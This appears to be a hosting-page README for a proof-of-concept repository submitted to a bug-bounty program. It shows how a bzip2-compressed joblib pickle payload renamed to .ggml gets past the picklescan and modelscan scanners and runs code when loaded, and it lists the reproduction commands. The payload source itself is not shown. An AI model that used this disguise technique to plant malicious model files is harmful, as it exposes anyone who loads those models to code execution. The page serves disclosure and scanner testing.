You can deploy this model and start earning money today!

zamaanahmed/
mfv-ggml-poc

Views

No views yet

GGML (llama.cpp) (.ggml) MFV PoC — Authorized Security Research

Authorization: huntr.com / Protect AI MFV bug bounty program. All work local in a Python venv. Responsible disclosure only. Human-submitted.

Summary

Format: GGML (llama.cpp) (.ggml) Bypass: picklescan 1.0.4 + modelscan 0.8.8 Modes bypassed: all 4 (direct + directory scan for both scanners) RCE via: joblib.load('malicious.ggml') Technique: bzip2-compressed joblib payload Tested: 2026-06-25

Files

malicious.ggml — bzip2-compressed joblib payload with .ggml extension
poc-ggml.py — reproduction script
README.md — this file

Reproduction

bash

pip install picklescan modelscan joblib

python3 poc-ggml.py

picklescan -p malicious.ggml
picklescan -p .
modelscan  -p malicious.ggml
modelscan  -p .

python3 -c "
import joblib
print('--- BEFORE LOAD ---')
joblib.load('malicious.ggml')
print('--- AFTER LOAD ---')
"

zamaanahmed/mfv-ggml-poc

GGML (llama.cpp) (.ggml) MFV PoC — Authorized Security Research

Summary

Files

Reproduction

zamaanahmed/
mfv-ggml-poc